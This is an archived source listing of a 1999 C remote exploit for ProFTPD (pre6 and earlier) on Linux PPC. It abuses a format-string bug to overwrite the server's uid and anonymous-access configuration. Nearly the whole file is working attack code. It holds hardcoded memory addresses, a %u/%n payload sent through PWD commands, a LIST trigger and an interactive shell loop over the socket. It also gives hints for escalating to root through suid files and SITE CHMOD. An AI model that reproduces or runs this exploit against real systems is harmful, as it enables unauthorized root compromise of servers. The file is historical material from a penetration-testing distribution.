home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / proftpd / proftp-ppc.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  279 lines

  1. /* PRIVATE              Do  not distribute            PRIVATE
  2.                                                         oktober 1999
  3.  
  4.    pro-ftpd remote exploit (linux ppc)
  5.  
  6. Bug: Proftpd (<= pre6) passes user commands to snprinft().
  7.      snprintf(argv,len,command + host + etc);
  8.      This makes it possible to insert formatstrings.
  9.      %n: writes the number of chars written to the location pointed to by it's 
  10.      argument. 
  11.  
  12.      Stack:
  13.         [ user argument ]
  14.         [ other stuff ]
  15.         [ arguments + stack of the snprintf funtion + subfunctions ]
  16.  
  17.     We walk to all that garbage using %u and stop at a certain possition inside
  18.     the usercommand. At that possition is the address that will be overwritten by %n.
  19.  
  20.     Exploit is simple we overwrite the uid and the anonconfig. After a uid change
  21.     by LIST. We are root :-)
  22.  
  23. Exploit:      
  24.    Linuxppc has a bad char (newline) in the address of session.anonconfig.
  25.    This is why I overwrite DenyAll inside the config, But this area in memory
  26.    is allocated and therefore unpredictable on a remote box. This is needed to 
  27.    get write access on the server (within the chroot-env).
  28.  
  29.    o Anonymous login: you can overwrite anything in /home/ftp.
  30.         Getting out of the chroot-enviroment is impossible since proftpd 
  31.         doesn't use external program (to overwrite). 
  32.         hint: use .forward in combination with a suid file.
  33.         
  34.    o Local login: instant root by changing permission to suid.
  35.             hint: SITE CHMOD 6755 <file> (is allowed in proftpd, not in wuftpd)
  36.  
  37.    I plugged this exploit in the ftp program, because this program doesn't have
  38.    data-connection support. Because it's not really needed.
  39.  
  40.    I used this bug to get root on linuxppc but they never gave me credit for it.
  41.  
  42.    I made a x86 exploit too, but i don't have any rpm-addy's. Only my testing vals.
  43.    I heard RH6.x comes with proftpd, anyone wanna let me get the addy's? mail me.
  44.  
  45.    Greets to grue, lockdown, DryGrain   
  46.    by lamagra <lamagra@uglypig.org>
  47.    
  48.    http://lamagra.seKure.de
  49.    http://penguin.seKure.de
  50. */
  51.  
  52. #include <stdio.h>
  53. #include <sys/socket.h>
  54. #include <netinet/in.h>
  55. #include <sys/types.h>
  56. #include <netdb.h>
  57.  
  58. #define NUM    150
  59. #define DEFAULT_OFFSET 0
  60.  
  61. unsigned long resolve(char *);
  62. void usage(char *);
  63. void wait_msg(int);
  64. void ftplogin(int, char *, char *);
  65. void shell(int);
  66.  
  67. extern char *optarg;
  68. extern int optind;
  69.  
  70. void main(int argc, char **argv)
  71. {
  72.   struct sockaddr_in addr;
  73.   int sockfd,i;
  74.   long port=21,*addrptr;
  75.   char c, name[100],pass[100],buf[1024];
  76.  
  77.   /* SET DEFAULTS */
  78.  
  79.   strcpy(name,"ftp");
  80.   strcpy(pass,"h@ck.er");
  81.  
  82.   while((c = getopt(argc,argv,"hn:p:c:")) != EOF)
  83.     {
  84.       switch(c)
  85.         {
  86.         case 'h':
  87.           usage(argv[0]);
  88.         case 'n':
  89.           strncpy(name,optarg,100);
  90.           break;
  91.         case 'p':
  92.           strncpy(pass,optarg,100);
  93.           break;
  94.         case 'c':
  95.           port = atol(optarg);
  96.         }
  97.     }
  98.  
  99.   if((argc - optind) != 1) usage(argv[0]);
  100.  
  101.   bzero(&addr, sizeof(struct sockaddr_in));
  102.   addr.sin_family = AF_INET;
  103.   addr.sin_port = htons(port);
  104.   addr.sin_addr.s_addr = resolve(argv[optind++]);
  105.  
  106.   printf("Connecting.....");
  107.  
  108.   if((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1)
  109.     {
  110.       printf("failed\n");
  111.       perror("socket");
  112.       exit(-1);
  113.     }
  114.  
  115.   if(connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0)
  116.     {
  117.       printf("failed\n");
  118.       perror("connect");
  119.       exit(-1);
  120.     }
  121.  
  122. #ifdef DEBUG
  123.   sockfd = fileno(stdout);
  124. #endif
  125.  
  126.   wait_msg(sockfd);
  127.   printf("success\n");
  128.  
  129.   printf("Logging in <%s>:<%s>\n",name,pass);
  130.   ftplogin(sockfd,name,pass);
  131.  
  132.   strcpy(buf,"PWD aaaa");
  133.   /* Overwrite config to allow writing
  134.    * 0x0187e608: session.anon_config, bad char in 0x0187e60a
  135.    * DenyAll is at 0x1885f01 on the box i used for testing 
  136.    * It just fucks up the string -> DenyAll isn't found -> default is AllowAll
  137.    */
  138.   buf[8]  = 0x01;
  139.   buf[9]  = 0x88;
  140.   buf[10] = 0x5f;
  141.   buf[11] = 0x01;
  142.   /* session.disable_idswithing is at 0x187e5ca */
  143.   buf[12] = 0x01;
  144.   buf[13] = 0x87;
  145.   buf[14] = 0xe5;
  146.   buf[15] = 0xca;
  147.   /* Ugly, Ugly / didn't feel like counting :-) */
  148.   strncpy(buf+16,"%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u",NUM);
  149.   strcpy(buf+16+NUM,"%n%n\r\n");
  150.   write(sockfd,buf,strlen(buf));
  151.  
  152.   sleep(1);
  153.  
  154.   /* 0x0187e5cc: session.uid*/
  155.   buf[8]  = 0x01;
  156.   buf[9]  = 0x87;
  157.   buf[10] = 0xe5;
  158.   buf[11] = 0xcc;
  159.   buf[12] = 0x01;
  160.   buf[13] = 0x87;
  161.   buf[14] = 0xe5;
  162.   buf[15] = 0xce;
  163.   write(sockfd,buf,strlen(buf));
  164.  
  165.   /* 0x187e5d0: session.ouid */
  166.   buf[8]  = 0x01;
  167.   buf[9]  = 0x87;
  168.   buf[10] = 0xe5;
  169.   buf[11] = 0xd0;
  170.   buf[12] = 0x01;
  171.   buf[13] = 0x87;
  172.   buf[14] = 0xe5;
  173.   buf[15] = 0xd2;
  174.   write(sockfd,buf,strlen(buf));
  175.  
  176.   /* LIST switches uid to session.ouid to bind to port 20 (ftp-data - privelidged port) */
  177.   write(sockfd,"LIST\r\n",6);
  178.  
  179.   /* LIST returns error "No data connection" */
  180.   do
  181.     {
  182.       read(sockfd,buf,sizeof(buf));
  183.     }
  184.   while(strstr(buf,"connection") == NULL);
  185.  
  186.   printf("Opening shell-connection\n");
  187.   shell(sockfd);
  188.  
  189.   printf("THE END\n");
  190.   close(sockfd);
  191. }
  192.  
  193. void shell(int sockfd)
  194. {
  195.   char buf[1024];
  196.   fd_set set;
  197.   int len;
  198.  
  199.   while(1)
  200.     {
  201.       FD_SET(fileno(stdin),&set);
  202.       FD_SET(sockfd,&set);
  203.       select(sockfd+1,&set,NULL,NULL,NULL);
  204.  
  205.       if(FD_ISSET(fileno(stdin),&set))
  206.         {
  207.           memset(buf,NULL,1024);
  208.           fgets(buf,1024,stdin);
  209.           write(sockfd,buf,strlen(buf));
  210.         }
  211.  
  212.       if(FD_ISSET(sockfd,&set))
  213.         {
  214.           memset(buf,NULL,1024);
  215.           if((len = read(sockfd,buf,1024)) == 0)
  216.             {
  217.               printf("EOF.\n");
  218.               exit(-1);
  219.             }
  220.  
  221.           if(len == -1)
  222.             {
  223.               perror("read");
  224.               exit(-1);
  225.             }
  226.           puts(buf);
  227.         }
  228.     }
  229. }
  230.  
  231. void ftplogin(int sockfd, char *user,char *passwd)
  232. {
  233.   char send[500];
  234.  
  235.   memset(send,NULL,500);
  236.   snprintf(send,500,"USER %s\r\n",user);
  237.   write(sockfd,send,strlen(send));
  238.   wait_msg(sockfd);
  239.  
  240.   memset(send,NULL,500);
  241.   snprintf(send,500,"PASS %s\r\n",passwd);
  242.   write(sockfd,send,strlen(send));
  243.   wait_msg(sockfd);
  244.   return;
  245. }
  246.  
  247. void wait_msg(int sockfd)
  248. {
  249.   char c;
  250.  
  251.   while(read(sockfd,(char *)&c,sizeof(char)) > 0)
  252.     {
  253.       if(c == '\n') break;
  254.     }
  255. }
  256.  
  257. unsigned long resolve(char *hostname)
  258. {
  259.   struct hostent *hp;
  260.   unsigned long ip;
  261.  
  262.   if((ip = inet_addr(hostname)) == -1)
  263.     {
  264.       if((hp = gethostbyname(hostname)) == NULL)
  265.         {
  266.           printf("Can't resolve hostname <%s>.\n",hostname);
  267.           exit(-1);
  268.         }
  269.       memcpy(&ip,hp->h_addr,4);
  270.     }
  271.   return ip;
  272. }
  273.  
  274. void usage(char *name)
  275. {
  276.   printf("Usage: %s <host> [-n name] [-p pass] [-c port]\n",name);
  277.   exit(-1);
  278. }
  279. /*                    www.hack.co.za                  [23 Feb 2000]*/